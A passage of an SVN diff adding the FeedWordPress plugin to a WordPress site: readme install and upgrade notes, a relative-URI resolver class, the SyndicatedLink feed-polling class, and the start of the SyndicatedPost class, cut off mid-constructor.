+	speaking, upgrading MagpieRSS is optional; FeedWordPress will run
+	correctly without the upgrade. But if you hope to take advantage of
+	numerous bug fixes, or support for Atom 1.0, multiple post categories,
+	RSS enclosures,	or multiple character encodings, then you need to
+	install the upgrade.
+
+4.	Log in to the WordPress Dashboard and activate the FeedWordPress plugin.
+
+5.	Once the plugin is activated, you can go to **Syndication --> Options**
+	and set (1) the link category that FeedWordPress will syndicate links
+	from (by default, "Contributors"), and (2) whether FeedWordPress will
+	use automatic updates or only manual updates.
+
+5.	Go to the main **Syndication** page to set up the list of sites that
+	you want FeedWordPress to syndicate onto your blog.
+
+= Upgrades =
+
+To *upgrade* an existing installation of FeedWordPress to version 2008.1030:
+
+1.	Download the FeedWordPress archive in zip or gzipped tar format and
+	extract the files on your computer. 
+
+2.	If you are upgrading from version 0.98 or earlier, then you need to
+	create a new directory named `feedwordpress` in the `wp-content/plugins`
+	directory of your WordPress installation, and you also need to *delete*
+	your existing `wp-content/update-feeds.php` and
+	`wp-content/plugins/feedwordpress.php` files. The file structure for
+	FeedWordPress has changed and the files from your old version will not
+	be overwritten, which could cause conflicts if you leave them in place.
+
+3.	Upload the new PHP files to `wp-content/plugins/feedwordpress`,
+	overwriting any existing FeedWordPress files that are there. Also be
+	sure to upgrade the MagpieRSS module by uploading `rss.php` and
+	`rss-functions.php` from the `MagpieRSS-upgrade` directory in your 
+	archive to the `wp-includes` directory of your WordPress installation.
+
+3.	If you are upgrading from version 0.96 or earlier, **immediately** log
+	in to the WordPress Dashboard, and go to **Options --> Syndicated**.
+	Follow the directions to launch the database upgrade procedure. The new
+	versions of FeedWordPress incorporate some long-needed improvements, but
+	old meta-data needs to be updated to prevent duplicate posts and other
+	possible maladies. If you're upgrading an existing installation, updates
+	and FeedWordPress template functions *will not work* until you've done
+	the upgrade. Then take a coffee break while the upgrade runs. It should,
+	hopefully, finish within a few minutes even on relatively large
+	databases.
+
+4.	If you are upgrading from version 0.98 or earlier, note that the old
+	`update-feeds.php` has been eliminated in favor of a (hopefully) more
+	humane method for automatic updating. If you used a cron job for
+	scheduled updates, it will not work anymore, but there is another,
+	simpler method which will. See [Setting Up Feed Updates](http://projects.radgeek.com/feedwordpress/install/#setting-up-feed-updates)
+	to get scheduled updates back on track.
+
+5.	Enjoy your new installation of FeedWordPress.
+
+== Using and Customizing FeedWordPress ==
+
+FeedWordPress has many options which can be accessed through the WordPress
+Dashboard, and a lot of functionality accessible programmatically through
+WordPress templates or plugins. For further documentation of the ins and
+outs, see the documentation at the [FeedWordPress project homepage][].
+
+  [FeedWordPress project homepage]: http://projects.radgeek.com/feedwordpress/
+
+== License ==
+
+The FeedWordPress plugin is copyright Â© 2005-2007 by Charles Johnson. It uses
+code derived or translated from:
+
+-	[wp-rss-aggregate.php][] by [Kellan Elliot-McCrea](kellan@protest.net)
+-       [MagpieRSS][] by [Kellan Elliot-McCrea](kellan@protest.net)
+-	[HTTP Navigator 2][] by [Keyvan Minoukadeh](keyvan@k1m.com)
+-	[Ultra-Liberal Feed Finder][] by [Mark Pilgrim](mark@diveintomark.org)
+
+according to the terms of the [GNU General Public License][].
+
+This program is free software; you can redistribute it and/or modify it under
+the terms of the [GNU General Public License][] as published by the Free
+Software Foundation; either version 2 of the License, or (at your option) any
+later version.
+
+This program is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+  [wp-rss-aggregate.php]: http://laughingmeme.org/archives/002203.html
+  [MagpieRSS]: http://magpierss.sourceforge.net/
+  [HTTP Navigator 2]: http://www.keyvan.net/2004/11/16/http-navigator/
+  [Ultra-Liberal Feed Finder]: http://diveintomark.org/projects/feed_finder/
+
+  [GNU General Public License]: http://www.gnu.org/copyleft/gpl.html
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/relative_uri.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/relative_uri.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/relative_uri.class.php	(revision 44)
@@ -0,0 +1,174 @@
+<?php
+# Relative URI static class: PHP class for resolving relative URLs
+#
+# This class is derived (under the terms of the GPL) from URL Class 0.3 by
+# Keyvan Minoukadeh <keyvan@k1m.com>, which is great but more than we need
+# for FeedWordPress's purposes. The class has been stripped down to a single
+# public method: Relative_URI::resolve($url, $base), which resolves the URI in
+# $url relative to the URI in $base
+
+class Relative_URI
+{
+	// Resolve relative URI in $url against the base URI in $base. If $base
+	// is not supplied, then we use the REQUEST_URI of this script.
+	//
+	// I'm hoping this method reflects RFC 2396 Section 5.2
+	function resolve ($url, $base = NULL)
+	{
+		if (is_null($base)):
+			$base = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
+		endif;
+
+		$base = Relative_URI::_encode(trim($base));
+		$uri_parts = Relative_URI::_parse_url($base);
+
+		$url = Relative_URI::_encode(trim($url));
+		$parts = Relative_URI::_parse_url($url);
+
+		$uri_parts['fragment'] = (isset($parts['fragment']) ? $parts['fragment'] : null);
+		$uri_parts['query'] = (isset($parts['query']) ? $parts['query'] : null);
+
+		// if path is empty, and scheme, host, and query are undefined,
+		// the URL is referring the base URL
+		
+		if (($parts['path'] == '') && !isset($parts['scheme']) && !isset($parts['host']) && !isset($parts['query'])) {
+			// If the URI is empty or only a fragment, return the base URI
+			return $base . (isset($parts['fragment']) ? '#'.$parts['fragment'] : '');
+		} elseif (isset($parts['scheme'])) {
+			// If the scheme is set, then the URI is absolute.
+			return $url;
+		} elseif (isset($parts['host'])) {
+			$uri_parts['host'] = $parts['host'];
+			$uri_parts['path'] = $parts['path'];
+		} else {
+			// We have a relative path but not a host.
+
+			// start ugly fix:
+			// prepend slash to path if base host is set, base path is not set, and url path is not absolute
+			if ($uri_parts['host'] && ($uri_parts['path'] == '')
+			&& (strlen($parts['path']) > 0)
+			&& (substr($parts['path'], 0, 1) != '/')) {
+				$parts['path'] = '/'.$parts['path'];
+			} // end ugly fix
+			
+			if (substr($parts['path'], 0, 1) == '/') {
+				$uri_parts['path'] = $parts['path'];
+			} else {
+				// copy base path excluding any characters after the last (right-most) slash character
+				$buffer = substr($uri_parts['path'], 0, (int)strrpos($uri_parts['path'], '/')+1);
+				// append relative path
+				$buffer .= $parts['path'];
+				// remove "./" where "." is a complete path segment.
+				$buffer = str_replace('/./', '/', $buffer);
+				if (substr($buffer, 0, 2) == './') {
+				    $buffer = substr($buffer, 2);
+				}
+				// if buffer ends with "." as a complete path segment, remove it
+				if (substr($buffer, -2) == '/.') {
+				    $buffer = substr($buffer, 0, -1);
+				}
+				// remove "<segment>/../" where <segment> is a complete path segment not equal to ".."
+				$search_finished = false;
+				$segment = explode('/', $buffer);
+				while (!$search_finished) {
+				    for ($x=0; $x+1 < count($segment);) {
+					if (($segment[$x] != '') && ($segment[$x] != '..') && ($segment[$x+1] == '..')) {
+					    if ($x+2 == count($segment)) $segment[] = '';
+					    unset($segment[$x], $segment[$x+1]);
+					    $segment = array_values($segment);
+					    continue 2;
+					} else {
+					    $x++;
+					}
+				    }
+				    $search_finished = true;
+				}
+				$buffer = (count($segment) == 1) ? '/' : implode('/', $segment);
+				$uri_parts['path'] = $buffer;
+
+			}
+		}
+
+		// If we've gotten to this point, we can try to put the pieces
+		// back together.
+		$ret = '';
+		if (isset($uri_parts['scheme'])) $ret .= $uri_parts['scheme'].':';
+		if (isset($uri_parts['user'])) {
+			$ret .= $uri_parts['user'];
+			if (isset($uri_parts['pass'])) $ret .= ':'.$uri_parts['parts'];
+			$ret .= '@';
+		}
+		if (isset($uri_parts['host'])) {
+			$ret .= '//'.$uri_parts['host'];
+			if (isset($uri_parts['port'])) $ret .= ':'.$uri_parts['port'];
+		}
+		$ret .= $uri_parts['path'];
+		if (isset($uri_parts['query'])) $ret .= '?'.$uri_parts['query'];
+		if (isset($uri_parts['fragment'])) $ret .= '#'.$uri_parts['fragment'];
+
+		return $ret;
+    }
+
+    /**
+    * Parse URL
+    *
+    * Regular expression grabbed from RFC 2396 Appendix B. 
+    * This is a replacement for PHPs builtin parse_url().
+    * @param string $url
+    * @access private
+    * @return array
+    */
+    function _parse_url($url)
+    {
+	// I'm using this pattern instead of parse_url() as there's a few strings where parse_url() 
+	// generates a warning.
+	if (preg_match('!^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?!', $url, $match)) {
+	    $parts = array();
+	    if ($match[1] != '') $parts['scheme'] = $match[2];
+	    if ($match[3] != '') $parts['auth'] = $match[4];
+	    // parse auth
+	    if (isset($parts['auth'])) {
+		// store user info
+		if (($at_pos = strpos($parts['auth'], '@')) !== false) {
+		    $userinfo = explode(':', substr($parts['auth'], 0, $at_pos), 2);
+		    $parts['user'] = $userinfo[0];
+		    if (isset($userinfo[1])) $parts['pass'] = $userinfo[1];
+		    $parts['auth'] = substr($parts['auth'], $at_pos+1);
+		}
+		// get port number
+		if ($port_pos = strrpos($parts['auth'], ':')) {
+		    $parts['host'] = substr($parts['auth'], 0, $port_pos);
+		    $parts['port'] = (int)substr($parts['auth'], $port_pos+1);
+		    if ($parts['port'] < 1) $parts['port'] = null;
+		} else {
+		    $parts['host'] = $parts['auth'];
+		}
+	    }
+	    unset($parts['auth']);
+	    $parts['path'] = $match[5];
+	    if (isset($match[6]) && ($match[6] != '')) $parts['query'] = $match[7];
+	    if (isset($match[8]) && ($match[8] != '')) $parts['fragment'] = $match[9];
+	    return $parts;
+	}
+	// shouldn't reach here
+	return array('path'=>'');
+    }
+
+    function _encode($string)
+    {
+	static $replace = array();
+	if (!count($replace)) {
+	    $find = array(32, 34, 60, 62, 123, 124, 125, 91, 92, 93, 94, 96, 127);
+	    $find = array_merge(range(0, 31), $find);
+	    $find = array_map('chr', $find);
+	    foreach ($find as $char) {
+		$replace[$char] = '%'.bin2hex($char);
+	    }
+	}
+	// escape control characters and a few other characters
+	$encoded = strtr($string, $replace);
+	// remove any character outside the hex range: 21 - 7E (see www.asciitable.com)
+	return preg_replace('/[^\x21-\x7e]/', '', $encoded);
+    }
+} // class Relative_URI
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/syndicatedlink.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/syndicatedlink.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/syndicatedlink.class.php	(revision 44)
@@ -0,0 +1,432 @@
+<?php
+# class SyndicatedLink: represents a syndication feed stored within the
+# WordPress database
+#
+# To keep things compact and editable from within WordPress, we use all the
+# links under a particular category in the WordPress "Blogroll" for the list of
+# feeds to syndicate. "Contributors" is the category used by default; you can
+# configure that under Options --> Syndication.
+#
+# Fields used are:
+#
+# *	link_rss: the URI of the Atom/RSS feed to syndicate
+#
+# *	link_notes: user-configurable options, with keys and values
+#	like so:
+#
+#		key: value
+#		cats: computers\nweb
+#		feed/key: value
+#
+#	Keys that start with "feed/" are gleaned from the data supplied
+#	by the feed itself, and will be overwritten with each update.
+#
+#	Values have linebreak characters escaped with C-style
+#	backslashes (so, for example, a newline becomes "\n").
+#
+#	The value of `cats` is used as a newline-separated list of
+#	default categories for any post coming from a particular feed. 
+#	(In the example above, any posts from this feed will be placed
+#	in the "computers" and "web" categories--*in addition to* any
+#	categories that may already be applied to the posts.)
+#
+#	Values of keys in link_notes are accessible from templates using
+#	the function `get_feed_meta($key)` if this plugin is activated.
+
+class SyndicatedLink {
+	var $id = null;
+	var $link = null;
+	var $settings = array ();
+	var $magpie = null;
+
+	function SyndicatedLink ($link) {
+		global $wpdb;
+
+		if (is_object($link)) :
+			$this->link = $link;
+			$this->id = $link->link_id;
+		else :
+			$this->id = $link;
+			if (function_exists('get_bookmark')) : // WP 2.1+
+				$this->link = get_bookmark($link);
+			else :
+				$this->link = $wpdb->get_row("
+				SELECT * FROM $wpdb->links
+				WHERE (link_id = '".$wpdb->escape($link)."')"
+				);
+			endif;
+		endif;
+
+		if (strlen($this->link->link_rss) > 0) :
+			// Read off feed settings from link_notes
+			$notes = explode("\n", $this->link->link_notes);
+			foreach ($notes as $note):
+				$pair = explode(": ", $note, 2);
+				$key = (isset($pair[0]) ? $pair[0] : null);
+				$value = (isset($pair[1]) ? $pair[1] : null);
+				if (!is_null($key) and !is_null($value)) :
+					// Unescape and trim() off the whitespace.
+					// Thanks to Ray Lischner for pointing out the
+					// need to trim off whitespace.
+					$this->settings[$key] = stripcslashes (trim($value));
+				endif;
+			endforeach;
+
+			// "Magic" feed settings
+			$this->settings['link/uri'] = $this->link->link_rss;
+			$this->settings['link/name'] = $this->link->link_name;
+			$this->settings['link/id'] = $this->link->link_id;
+			
+			// `hardcode categories` and `unfamiliar categories` are deprecated in favor of `unfamiliar category`
+			if (
+				isset($this->settings['unfamiliar categories'])
+				and !isset($this->settings['unfamiliar category'])
+			) :
+				$this->settings['unfamiliar category'] = $this->settings['unfamiliar categories'];
+			endif;
+			if (
+				FeedWordPress::affirmative($this->settings, 'hardcode categories')
+				and !isset($this->settings['unfamiliar category'])
+			) :
+				$this->settings['unfamiliar category'] = 'default';
+			endif;
+
+			// Set this up automagically for del.icio.us
+			$bits = parse_url($this->link->link_rss);
+			$tagspacers = array('del.icio.us', 'feeds.delicious.com');
+			if (!isset($this->settings['cat_split']) and in_array($bits['host'], $tagspacers)) : 
+				$this->settings['cat_split'] = '\s'; // Whitespace separates multiple tags in del.icio.us RSS feeds
+			endif;
+
+			if (isset($this->settings['cats'])):
+				$this->settings['cats'] = preg_split(FEEDWORDPRESS_CAT_SEPARATOR_PATTERN, $this->settings['cats']);
+			endif;
+			if (isset($this->settings['tags'])):
+				$this->settings['tags'] = preg_split(FEEDWORDPRESS_CAT_SEPARATOR_PATTERN, $this->settings['tags']);
+			endif;
+			
+			if (isset($this->settings['map authors'])) :
+				$author_rules = explode("\n\n", $this->settings['map authors']);
+				$ma = array();
+				foreach ($author_rules as $rule) :
+					list($rule_type, $author_name, $author_action) = explode("\n", $rule);
+					
+					// Normalize for case and whitespace
+					$rule_type = strtolower(trim($rule_type));
+					$author_name = strtolower(trim($author_name));
+					$author_action = strtolower(trim($author_action));
+					
+					$ma[$rule_type][$author_name] = $author_action;
+				endforeach;
+				$this->settings['map authors'] = $ma;
+			endif;
+		endif;
+	} /* SyndicatedLink::SyndicatedLink () */
+	
+	function found () {
+		return is_object($this->link);
+	} /* SyndicatedLink::found () */
+
+	function stale () {
+		$stale = true;
+		if (isset($this->settings['update/hold']) and ($this->settings['update/hold']=='ping')) :
+			$stale = false; // don't update on any timed updates; pings only
+		elseif (isset($this->settings['update/hold']) and ($this->settings['update/hold']=='next')) :
+			$stale = true; // update on the next timed update
+		elseif (!isset($this->settings['update/ttl']) or !isset($this->settings['update/last'])) :
+			$stale = true; // initial update
+		else :
+			$after = ((int) $this->settings['update/last'])
+				+((int) $this->settings['update/ttl'] * 60);
+			$stale = (time() >= $after);
+		endif;
+		return $stale;
+	} /* SyndicatedLink::stale () */
+
+	function poll ($crash_ts = NULL) {
+		global $wpdb;
+
+		$this->magpie = fetch_rss($this->link->link_rss);
+		$new_count = NULL;
+
+		$resume = FeedWordPress::affirmative($this->settings, 'update/unfinished');
+		if ($resume) :
+			// pick up where we left off
+			$processed = array_map('trim', explode("\n", $this->settings['update/processed']));
+		else :
+			// begin at the beginning
+			$processed = array();
+		endif;
+
+		if (is_object($this->magpie)) :
+			$new_count = array('new' => 0, 'updated' => 0);
+
+			# -- Update Link metadata live from feed
+			$channel = $this->magpie->channel;
+
+			if (!isset($channel['id'])) :
+				$channel['id'] = $this->link->link_rss;
+			endif;
+	
+			$update = array();
+			if (!$this->hardcode('url') and isset($channel['link'])) :
+				$update[] = "link_url = '".$wpdb->escape($channel['link'])."'";
+			endif;
+	
+			if (!$this->hardcode('name') and isset($channel['title'])) :
+				$update[] = "link_name = '".$wpdb->escape($channel['title'])."'";
+			endif;
+	
+			if (!$this->hardcode('description')) :
+				if (isset($channel['tagline'])) :
+					$update[] = "link_description = '".$wpdb->escape($channel['tagline'])."'";
+				elseif (isset($channel['description'])) :
+					$update[] = "link_description = '".$wpdb->escape($channel['description'])."'";
+				endif;
+			endif;
+	
+			$this->settings = array_merge($this->settings, $this->flatten_array($channel));
+
+			$this->settings['update/last'] = time(); $ttl = $this->ttl();
+			if (!is_null($ttl)) :
+				$this->settings['update/ttl'] = $ttl;
+				$this->settings['update/timed'] = 'feed';
+			else :
+				$this->settings['update/ttl'] = rand(30, 120); // spread over time interval for staggered updates
+				$this->settings['update/timed'] = 'automatically';
+			endif;
+
+			if (!isset($this->settings['update/hold']) or $this->settings['update/hold']!='ping') :
+				$this->settings['update/hold'] = 'scheduled';
+			endif;
+
+			$this->settings['update/unfinished'] = 'yes';
+
+			$update[] = "link_notes = '".$wpdb->escape($this->settings_to_notes())."'";
+
+			$update_set = implode(',', $update);
+			
+			// Update the properties of the link from the feed information
+			$result = $wpdb->query("
+				UPDATE $wpdb->links
+				SET $update_set
+				WHERE link_id='$this->id'
+			");
+
+			# -- Add new posts from feed and update any updated posts
+			$crashed = false;
+
+			if (is_array($this->magpie->items)) :
+				foreach ($this->magpie->items as $item) :
+					$post =& new SyndicatedPost($item, $this);
+					if (!$resume or !in_array(trim($post->guid()), $processed)) :
+						$processed[] = $post->guid();
+						if (!$post->filtered()) :
+							$new = $post->store();
+							if ( $new !== false ) $new_count[$new]++;
+						endif;
+
+						if (!is_null($crash_ts) and (time() > $crash_ts)) :
+							$crashed = true;
+							break;
+						endif;
+					endif;
+				endforeach;
+			endif;
+			
+			// Copy back any changes to feed settings made in the course of updating (e.g. new author rules)
+			$to_notes = $this->settings;
+
+			$this->settings['update/processed'] = $processed;
+			if (!$crashed) :
+				$this->settings['update/unfinished'] = 'no';
+			endif;
+
+			$update_set = "link_notes = '".$wpdb->escape($this->settings_to_notes())."'";
+			
+			// Update the properties of the link from the feed information
+			$result = $wpdb->query("
+			UPDATE $wpdb->links
+			SET $update_set
+			WHERE link_id='$this->id'
+			");
+		endif;
+		
+		return $new_count;
+	} /* SyndicatedLink::poll() */
+
+	function map_name_to_new_user ($name, $newuser_name) {
+		global $wpdb;
+
+		if (strlen($newuser_name) > 0) :
+			$userdata = array();
+			$userdata['ID'] = NULL;
+			
+			$userdata['user_login'] = sanitize_user($newuser_name);
+			$userdata['user_login'] = apply_filters('pre_user_login', $userdata['user_login']);
+			
+			$userdata['user_nicename'] = sanitize_title($newuser_name);
+			$userdata['user_nicename'] = apply_filters('pre_user_nicename', $userdata['user_nicename']);
+			
+			$userdata['display_name'] = $wpdb->escape($newuser_name);
+		
+			$newuser_id = wp_insert_user($userdata);
+			if (is_numeric($newuser_id)) :
+				if (is_null($name)) : // Unfamiliar author
+					$this->settings['unfamiliar author'] = $newuser_id;
+				else :
+					$this->settings['map authors']['name'][$name] = $newuser_id;
+				endif;
+			else :
+				// TODO: Add some error detection and reporting
+			endif;
+		else :
+			// TODO: Add some error reporting
+		endif;
+	} /* SyndicatedLink::map_name_to_new_user () */
+
+	function settings_to_notes () {
+		$to_notes = $this->settings;
+
+		unset($to_notes['link/id']); // Magic setting; don't save
+		unset($to_notes['link/uri']); // Magic setting; don't save
+		unset($to_notes['link/name']); // Magic setting; don't save
+		unset($to_notes['hardcode categories']); // Deprecated
+		unset($to_notes['unfamiliar categories']); // Deprecated
+
+		// Collapse array settings
+		if (isset($to_notes['update/processed']) and (is_array($to_notes['update/processed']))) :
+			$to_notes['update/processed'] = implode("\n", $to_notes['update/processed']);
+		endif;
+
+		if (isset($to_notes['cats']) and is_array($to_notes['cats'])) :
+			$to_notes['cats'] = implode(FEEDWORDPRESS_CAT_SEPARATOR, $to_notes['cats']);
+		endif;
+		if (isset($to_notes['tags']) and is_array($to_notes['tags'])) :
+			$to_notes['tags'] = implode(FEEDWORDPRESS_CAT_SEPARATOR, $to_notes['tags']);
+		endif;
+
+		// Collapse the author mapping rule structure back into a flat string
+		if (isset($to_notes['map authors'])) :
+			$ma = array();
+			foreach ($to_notes['map authors'] as $rule_type => $author_rules) :
+				foreach ($author_rules as $author_name => $author_action) :
+					$ma[] = $rule_type."\n".$author_name."\n".$author_action;
+				endforeach;
+			endforeach;
+			$to_notes['map authors'] = implode("\n\n", $ma);
+		endif;
+
+		$notes = '';
+		foreach ($to_notes as $key => $value) :
+			$notes .= $key . ": ". addcslashes($value, "\0..\37".'\\') . "\n";
+		endforeach;
+		return $notes;
+	} /* SyndicatedLink::settings_to_notes () */
+
+	function uri () {
+		return (is_object($this->link) ? $this->link->link_rss : NULL);
+	} /* SyndicatedLink::uri () */
+
+	function homepage () {
+		return (isset($this->settings['feed/link']) ? $this->settings['feed/link'] : NULL);
+	} /* SyndicatedLink::homepage () */
+
+	function ttl () {
+		if (is_object($this->magpie)) :
+			$channel = $this->magpie->channel;
+		else :
+			$channel = array();
+		endif;
+
+		if (isset($channel['ttl'])) :
+			// "ttl stands for time to live. It's a number of
+			// minutes that indicates how long a channel can be
+			// cached before refreshing from the source."
+			// <http://blogs.law.harvard.edu/tech/rss#ltttlgtSubelementOfLtchannelgt>	
+			$ret = $channel['ttl'];
+		elseif (isset($channel['sy']['updatefrequency']) or isset($channel['sy']['updateperiod'])) :
+			$period_minutes = array (
+				'hourly' => 60, /* minutes in an hour */
+				'daily' => 1440, /* minutes in a day */
+				'weekly' => 10080, /* minutes in a week */
+				'monthly' => 43200, /* minutes in  a month */
+				'yearly' => 525600, /* minutes in a year */
+			);
+
+			// "sy:updatePeriod: Describes the period over which the
+			// channel format is updated. Acceptable values are:
+			// hourly, daily, weekly, monthly, yearly. If omitted,
+			// daily is assumed." <http://web.resource.org/rss/1.0/modules/syndication/>
+			if (isset($channel['sy']['updateperiod'])) : $period = $channel['sy']['updateperiod'];
+			else : $period = 'daily';
+			endif;
+			
+			// "sy:updateFrequency: Used to describe the frequency 
+			// of updates in relation to the update period. A
+			// positive integer indicates how many times in that
+			// period the channel is updated. ... If omitted a value
+			// of 1 is assumed." <http://web.resource.org/rss/1.0/modules/syndication/>
+			if (isset($channel['sy']['updatefrequency'])) : $freq = (int) $channel['sy']['updatefrequency'];
+			else : $freq = 1;
+			endif;
+			
+			$ret = (int) ($period_minutes[$period] / $freq);
+		else :
+			$ret = NULL;
+		endif;
+		return $ret;
+	} /* SyndicatedLink::ttl() */
+
+	// SyndicatedLink::flatten_array (): flatten an array. Useful for
+	// hierarchical and namespaced elements.
+	//
+	// Given an array which may contain array or object elements in it,
+	// return a "flattened" array: a one-dimensional array of scalars
+	// containing each of the scalar elements contained within the array
+	// structure. Thus, for example, if $a['b']['c']['d'] == 'e', then the
+	// returned array for FeedWordPress::flatten_array($a) will contain a key
+	// $a['feed/b/c/d'] with value 'e'.
+	function flatten_array ($arr, $prefix = 'feed/', $separator = '/') {
+		$ret = array ();
+		if (is_array($arr)) :
+			foreach ($arr as $key => $value) :
+				if (is_scalar($value)) :
+					$ret[$prefix.$key] = $value;
+				else :
+					$ret = array_merge($ret, $this->flatten_array($value, $prefix.$key.$separator, $separator));
+				endif;
+			endforeach;
+		endif;
+		return $ret;
+	} /* SyndicatedLink::flatten_array () */
+
+	function hardcode ($what) {
+		$default = get_option("feedwordpress_hardcode_$what");
+		if ( $default === 'yes' ) :
+			// If the default is to hardcode, then we want the
+			// negation of negative(): TRUE by default and FALSE if
+			// the setting is explicitly "no"
+			$ret = !FeedWordPress::negative($this->settings, "hardcode $what");
+		else :
+			// If the default is NOT to hardcode, then we want
+			// affirmative(): FALSE by default and TRUE if the
+			// setting is explicitly "yes"
+			$ret = FeedWordPress::affirmative($this->settings, "hardcode $what");
+		endif;
+		return $ret;
+	} /* SyndicatedLink::hardcode () */
+
+	function syndicated_status ($what, $default) {
+		global $wpdb;
+
+		$ret = get_option("feedwordpress_syndicated_{$what}_status");
+		if ( isset($this->settings["$what status"]) ) :
+			$ret = $this->settings["$what status"];
+		elseif (!$ret) :
+			$ret = $default;
+		endif;
+		return $wpdb->escape(trim(strtolower($ret)));
+	} /* SyndicatedLink:syndicated_status () */
+} // class SyndicatedLink
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/syndicatedpost.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/syndicatedpost.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/syndicatedpost.class.php	(revision 44)
@@ -0,0 +1,1194 @@
+<?php
+class SyndicatedPost {
+	var $item = null;
+	
+	var $link = null;
+	var $feed = null;
+	var $feedmeta = null;
+	
+	var $post = array ();
+
+	var $_freshness = null;
+	var $_wp_id = null;
+
+	function SyndicatedPost ($item, $link) {
+		global $wpdb;
+
+		$this->link = $link;
+		$feedmeta = $link->settings;
+		$feed = $link->magpie;
+
+		# This is ugly as all hell. I'd like to use apply_filters()'s
+		# alleged support for a variable argument count, but this seems
+		# to have been broken in WordPress 1.5. It'll be fixed somehow
+		# in WP 1.5.1, but I'm aiming at WP 1.5 compatibility across
+		# the board here.
+		#
+		# Cf.: <http://mosquito.wordpress.org/view.php?id=901>
+		global $fwp_channel, $fwp_feedmeta;
+		$fwp_channel = $feed; $fwp_feedmeta = $feedmeta;
+
+		$this->feed = $feed;
+		$this->feedmeta = $feedmeta;
+
+		$this->item = $item;
+		$this->item = apply_filters('syndicated_item', $this->item, $this);
+
+		# Filters can halt further processing by returning NULL
+		if (is_null($this->item)) :
+			$this->post = NULL;
+		else :
+			# Note that nothing is run through $wpdb->escape() here.
+			# That's deliberate. The escaping is done at the point
+			# of insertion, not here, to avoid double-escaping and
+			# to avoid screwing with syndicated_post filters
+
+			$this->post['post_title'] = apply_filters('syndicated_item_title', $this->item['title'], $this);
+
+			// This just gives us an alphanumeric representation of
+			// the author. We will look up (or create) the numeric
+			// ID for the author in SyndicatedPost::add()
+			$this->post['named']['author'] = apply_filters('syndicated_item_author', $this->author(), $this);
+
+			# Identify content and sanitize it.
+			# ---------------------------------
+			if (isset($this->item['atom_content'])) :
+				$content = $this->item['atom_content'];
+			elseif (isset($this->item['xhtml']['body'])) :
+				$content = $this->item['xhtml']['body'];
+			elseif (isset($this->item['xhtml']['div'])) :
+				$content = $this->item['xhtml']['div'];
+			elseif (isset($this->item['content']['encoded']) and $this->item['content']['encoded']):
+				$content = $this->item['content']['encoded'];
+			else:
+				$content = $this->item['description'];
+			endif;
+			$this->post['post_content'] = apply_filters('syndicated_item_content', $content, $this);
+
+			# Identify and sanitize excerpt
+			$excerpt = NULL;
+			if ( isset($this->item['description']) and $this->item['description'] ) :
+				$excerpt = $this->item['description'];
+			elseif ( isset($content) and $content ) :
+				$excerpt = strip_tags($content);
+				if (strlen($excerpt) > 255) :
+					$excerpt = substr($excerpt,0,252).'...';
+				endif;
+			endif;
+			$excerpt = apply_filters('syndicated_item_excerpt', $excerpt, $this); 
+
+			if (!is_null($excerpt)):
+				$this->post['post_excerpt'] = $excerpt;
+			endif;
+			
+			// This is unnecessary if we use wp_insert_post
+			if (!$this->use_api('wp_insert_post')) :
+				$this->post['post_name'] = sanitize_title($this->post['post_title']);
+			endif;
+
+			$this->post['epoch']['issued'] = apply_filters('syndicated_item_published', $this->published(), $this);
+			$this->post['epoch']['created'] = apply_filters('syndicated_item_created', $this->created(), $this);
+			$this->post['epoch']['modified'] = apply_filters('syndicated_item_updated', $this->updated(), $this);
+
+			// Dealing with timestamps in WordPress is so fucking fucked.
+			$offset = (int) get_option('gmt_offset') * 60 * 60;
+			$this->post['post_date'] = gmdate('Y-m-d H:i:s', $this->published() + $offset);
+			$this->post['post_modified'] = gmdate('Y-m-d H:i:s', $this->updated() + $offset);
+			$this->post['post_date_gmt'] = gmdate('Y-m-d H:i:s', $this->published());
+			$this->post['post_modified_gmt'] = gmdate('Y-m-d H:i:s', $this->updated());
+
+			// Use feed-level preferences or the global default.
+			$this->post['post_status'] = $this->link->syndicated_status('post', 'publish');
+			$this->post['comment_status'] = $this->link->syndicated_status('comment', 'closed');
+			$this->post['ping_status'] = $this->link->syndicated_status('ping', 'closed');
+
+			// Unique ID (hopefully a unique tag: URI); failing that, the permalink
+			$this->post['guid'] = apply_filters('syndicated_item_guid', $this->guid(), $this);
+
+			// User-supplied custom settings to apply to each post. Do first so that FWP-generated custom settings will overwrite if necessary; thus preventing any munging
+			$default_custom_settings = get_option('feedwordpress_custom_settings');
+			if ($default_custom_settings) :
+				$default_custom_settings = unserialize($default_custom_settings);
+			endif;
+			if (!is_array($default_custom_settings)) :
+				$default_custom_settings = array();
+			endif;
+			
+			$custom_settings = (isset($this->link->settings['postmeta']) ? $this->link->settings['postmeta'] : null);
+			if ($custom_settings) :
+				$custom_settings = unserialize($custom_settings);
+			endif;
+			if (!is_array($custom_settings)) :
+				$custom_settings = array();
+			endif;
+			$this->post['meta'] = array_merge($default_custom_settings, $custom_settings);
+
+			// RSS 2.0 / Atom 1.0 enclosure support
+			if ( isset($this->item['enclosure#']) ) :
+				for ($i = 1; $i <= $this->item['enclosure#']; $i++) :
+					$eid = (($i > 1) ? "#{$id}" : "");
+					$this->post['meta']['enclosure'][] =
+						apply_filters('syndicated_item_enclosure_url', $this->item["enclosure{$eid}@url"], $this)."\n".
+						apply_filters('syndicated_item_enclosure_length', $this->item["enclosure{$eid}@length"], $this)."\n".
+						apply_filters('syndicated_item_enclosure_type', $this->item["enclosure{$eid}@type"], $this);
+				endfor;
+			endif;
+
+			// In case you want to point back to the blog this was syndicated from
+			if (isset($this->feed->channel['title'])) :
+				$this->post['meta']['syndication_source'] = apply_filters('syndicated_item_source_title', $this->feed->channel['title'], $this);
